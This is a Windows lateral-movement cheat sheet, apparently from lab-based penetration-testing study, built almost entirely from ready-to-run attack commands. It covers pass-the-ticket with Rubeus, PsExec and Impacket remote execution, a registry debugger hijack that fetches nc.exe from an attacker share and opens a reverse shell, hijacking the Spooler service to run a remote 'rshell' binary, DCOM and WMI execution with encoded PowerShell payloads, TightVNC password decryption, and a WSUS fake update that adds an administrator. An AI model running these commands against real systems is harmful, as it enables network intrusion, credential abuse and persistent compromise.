mcz3n | Windows Lateral Movement

Remote Desktop Service

New RDP Session with Pass The Ticket

# New Window
.\Rubeus.exe createnetonly /program:powershell.exe /show

# Forge a TGT
.\Rubeus.exe asktgt /user:mczen /rc4:62EBA30320E250ECA185AA1327E78AEB /domain:zencorp.local /ptt

# Start RDP
mstsc.exe /restrictedAdmin

Restricted Admin Mode enables Pass The Hash or Pass the Ticket.

# Check if enabled
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin

# Enable, by set to 0
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /d 0 /t REG_DWORD

Lateral movement with PsExec, SharpNoPSExec, NimExec

Tool	Functionality	Features	Authentication
PsExec	Remote command execution using SMB and named pipes	Starts a service (`PsExecsvc`), provides an interactive shell	Username/Password or NTLM
SharpNoPSExec	Lateral movement via service manipulation	No new services created, uses existing services with LocalSystem privileges	Username/Password or NTLM
NimExec	Fileless command execution via SCM Remote Protocol	Uses RPC packets and SMB for execution, cross-platform	NTLM Hash or Password
Reg.exe	Lateral movement via registry manipulation	Utilizes the `winreg` SMB pipe to modify registry keys, enabling RCE	Remote Registry access (Username/Password)

# PsExec
.\PsExec.exe \\SRV02 -i -u ZENCORP\joe -p pass123 cmd

# PsExec run as system
.\PsExec.exe \\SRV02 -i -s -u ZENCORP\joe -p pass123 cmd

# SharpNoPSExec for minimal detection risk. Use nc on vm.
.\SharpNoPSExec.exe --target=172.20.1.12 --payload="c:\windows\system32\cmd.exe /c powershell -exec bypass -nop -e ...SNIP...AbwBzAGUsddfsAKAApAA=="

# NimExec - Use nc on vm.
.\NimExec -u zen -d zencorp.local -p pass123 -t 172.20.1.12 -c "cmd.exe /c powershell -e JABjAGwAaQBsdflAG...SNIP...AbwBzsdfsAGUAKAApAA==" -v

# Reg.exe (needs to open Edge)
reg.exe add "\\srv02.zencorp.local\HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msedge.exe" /v Debugger /t reg_sz /d "cmd /c copy \\172.20.1.91\share\nc.exe && nc.exe -e \windows\system32\cmd.exe 172.20.1.91 8080"

Lateral movement from Linux

Tool	Functionality	Features	Authentication
psexec.py	Remote command execution by creating a service	Uploads executable to ADMIN$ share, uses RPC and named pipes for command execution	Username/Password or NTLM
smbexec.py	Executes commands on remote systems over SMB	Runs commands without uploading files, communicates over TCP 445, uses MSRPC for service control	Username/Password or NTLM
services.py	Interacts quieter with Windows services via MSRPC interface	Start, stop, configure, delete, and manage services non-interactively	Username/Password or NTLM
atexec.py	Leverages Windows Task Scheduler service	Appends a task to the Windows Task Scheduler to execute commands at a specific time	Username/Password or NTLM

# psexec.py
psexec.py ZENCORP/john:'pass123'@172.20.1.51

# smbexec.py
smbexec.py ZENCORP/john:'pass123'@172.20.1.51

# services.py list services
services.py ZENCORP/john:'pass123'@172.20.1.51 list

# services.py Create service with venom and host on smb
services.py ZENCORP/john:'pass123'@172.20.1.51 create -name 'Service Backdoor' -display 'Service Backdoor' -path "\\\\10.10.11.201\\share\\rshell-8888.exe"

# services.py Start service
impacket-services ZENCORP/john:'pass123'@172.20.1.51 start -name 'Service Backdoor'

# service.py Delete servicee
impacket-services ZENCORP/john:'pass123'@172.20.1.51 delete -name 'Service Backdoor'

# atexec.py
atexec.py ZENCORP/john:'pass123'@172.20.1.51 "powershell -e ...SNIP...AbwBzAGUAKAApAA=="

Modify existing service using services.py. This way its possible to use the account a service is configured with, like impersonation.

# Allow SMB Guest access in registry
reg.exe add HKLM\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters /v AllowInsecureGuestAuth /d 1 /t REG_DWORD /f

# Check service configuration
impacket-services ZENCORP/john:'pass123'@172.20.1.51 config -name Spooler
Impacket v0.11.0 - Copyright 2023 Fortra                                                                                                                                                      

[*] Querying service config for Spooler
TYPE              : 272 -  SERVICE_WIN32_OWN_PROCESS  SERVICE_INTERACTIVE_PROCESS                                                                                                             
START_TYPE        :  4 -  DISABLED
ERROR_CONTROL     :  0 -  IGNORE
BINARY_PATH_NAME  : C:\Windows\System32\spoolsv.exe
LOAD_ORDER_GROUP  : SpoolerGroup    
TAG               : 0               
DISPLAY_NAME      : Print Spooler  
DEPENDENCIES      : RPCSS/http/
SERVICE_START_NAME: LocalSystem

# Modify binary path name, set start_type to 2
impacket-services ZENCORP/john:'pass123'@172.20.1.51 change -name Spooler -path "\\\\10.10.14.207\\share\\rshell-9001.exe" -start_type 2

# Start service
impacket-services ZENCORP/john:'pass123'@172.20.1.51 start -name Spooler

WMI - Windows Management Instrumentation

Windows Management Instrumentation (WMI) is a Windows tool for system management, automation, and monitoring, using TCP 135 and dynamic ports (49152-65535) for communication.

It is crucial to have the necessary permissions on the target system, this means having administrative privileges.

# Check WMi services running 
nmap -p135,49152-65535 10.129.229.244 -sV

# Or NXC
netexec wmi 10.129.229.244 -u john -p pass123

# Get OS details
wmic /node:172.20.0.52 os get Caption,CSDVersion,OSArchitecture,Version
Get-WmiObject -Class Win32_OperatingSystem -ComputerName 172.20.0.52 | Select-Object Caption, CSDVersion, OSArchitecture, Version

# Start process remotely
wmic /node:172.20.0.52 process call create "notepad.exe"
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "notepad.exe" -ComputerName 172.20.0.1

# Specify credentials
wmic /user:username /password:password /node:172.20.0.22 os get Caption,CSDVersion,OSArchitecture,Version 

# Get Serial
wmic /node:172.20.0.52 os get SerialNumber

Lateral movement from Linux

# WMIC
wmic -U zencorp.local/john%pass123 //172.20.0.11 "SELECT Caption, CSDVersion, OSArchitecture, Version FROM Win32_OperatingSystem"

# wmiexec.py
wmiexec.py zencorp/john:pass123@172.20.0.52 
wmiexec.py zencorp/john:pass123@172.20.0.52 whoami
wmiexec.py zencorp/john:pass123@172.20.0.52 whoami -nooutput

# netexec
netexec wmi 172.20.0.52 -u john -p pass123 --wmi "SELECT * FROM Win32_OperatingSystem"

# netexec Command
netexec wmi 172.20.0.52 -u john -p pass123 -x whoami

Windows Remote Management - WinRM

WinRM is Microsofts version of WS-Management (Web Services-Management) protocol. A standard protocol for managing software and hardware remotely on port 5985 http and 5986 https.

Remote commands

# Run command remotely
Invoke-Command -ComputerName srv02 -ScriptBlock { hostname;whoami }

# Using winrs
winrs -r:srv02 "powershell -c whoami;hostname"
winrs /remote:srv02 /username:john /password:pass123 "powershell -c whoami;hostname"

# Use -credential
$username = "ZENCORP\john"
$password = "pass123"
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential ($username, $securePassword)

Invoke-Command -ComputerName 172.20.0.52 -Credential $credential -ScriptBlock { whoami; hostname }

From windows

# Netexec check
netexec winrm 10.129.229.244 -u john -p pass123

# Copy files | 1. Create variable
$sessionSRV02 = New-PSSession -ComputerName SRV02 -Credential $credential

# Copy files | 2. ToSession
Copy-Item -ToSession $sessionSRV02 -Path 'C:\Users\joe\Desktop\Sample.txt' -Destination 'C:\Users\john\Desktop\test.txt' -Verbose

# Copy files | 3. FromSession
Copy-Item -FromSession $sessionSRV02 -Path 'C:\Users\john\Desktop\Sample.txt' -Destination 'C:\Users\joe\Desktop\test.txt' -Verbose

# Interactive shell
Enter-PSSession $sessionSRV02

Using hashes and tickets with WinRM

# Forge a ticket
.\Rubeus.exe asktgt /user:james /rc4:32323DS033D176ABAAF6BEAA0AA681400 /nowrap

# Create sacrificial process
.\Rubeus.exe createnetonly /program:powershell.exe /show

# Pass the ticket
.\Rubeus.exe ptt /ticket:doIFsjCCBa6gAwIBBaEDAgEWooIEszCCBK9h...SNIP...

# Connect to target
Enter-PSSession SRV02.inlanefreight.local -Authentication Negotiate

Distributed Component Object Model (DCOM)

DCOM lets programs on different computers talk to each other using port 135 dynamic ports 49152-65535 over TCP/IP.

Lateral movement from Windows

# MMC20.Application
$mmc = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","172.20.0.52"));

# MMC20 Execute command
$mmc.Document.ActiveView.ExecuteShellCommand("powershell.exe",$null,"-e JABjAGwAaQBlAG...SNIP...AbwBzAGUAKAApAA==",0)

Lateral movement from Linux

# dcomexec.py (use -no-output to disable port 445)
dcomexec.py -object MMC20 ZENCORP/John:pass123@172.20.0.52 "powershell -e JABjAGwAaQBlAG...SNIP...AbwBzAGUAKAApAA==" -silentcommand

# shell
impacket-dcomexec -object MMC20 ZENCORP/John:'pass123'@172.20.0.11

VNC

Find VNC password

reg query HKLM\SOFTWARE\TightVNC\Server /s

Decrypt

echo -n 816ECB5CE758EAAA | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d | hexdump -Cv

Connect

vncviewer 172.20.0.10
vncviewer 172.20.0.52 -autopass

Windows Server Update Services (WSUS)

Using update distribution its possible to create a malicious patch and even reach internal servers without direct internet access, its widely used in Windows Corporate Networks. Access to the WSUS service requires administrative privileges on the server where the WSUS service is installed,

Identify WSUS Server

# Check if WSUS server is present
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

# Using SharpWSUS
.\SharpWSUS.exe locate

 ____  _                   __        ______  _   _ ____
/ ___|| |__   __ _ _ __ _ _\ \      / / ___|| | | / ___|
\___ \| '_ \ / _` | '__| '_ \ \ /\ / /\___ \| | | \___ \
 ___) | | | | (_| | |  | |_) \ V  V /  ___) | |_| |___) |
|____/|_| |_|\__,_|_|  | .__/ \_/\_/  |____/ \___/|____/
                       |_|
           Phil Keeble @ Nettitude Red Team

[*] Action: Locate WSUS Server
WSUS Server: http://wsus.inlanefreight.local:8530

[*] Locate complete

Inspect for more enumeration

.\SharpWSUS.exe inspect

Create malicious update

.\SharpWSUS.exe create /payload:"C:\sysinternals\PSExec64.exe" /args:"-accepteula -s -d cmd.exe /c net localgroup Administrators john /add" /title:"NewUpdate"

To approve manually Windows Update Server Services > WSUS > Updates

.\SharpWSUS.exe approve /updateid:431424f9-2bc8-43db-917c-d5cd2d2e8ae6 /computername:dc01.zencorp.local /groupname:"FastUpdates"

If you get error: Files for this update failed to download, copy file to right location.

# Get file name
Get-WinEvent -LogName Application | Where-Object { $_.Id -eq 364 } |fl

# Copy file
copy C:\Tools\sysinternals\PSExec64.exe C:\WSUS\WsusContent\02\0098C79E1404B4399BF086D88DBF052269A302.exe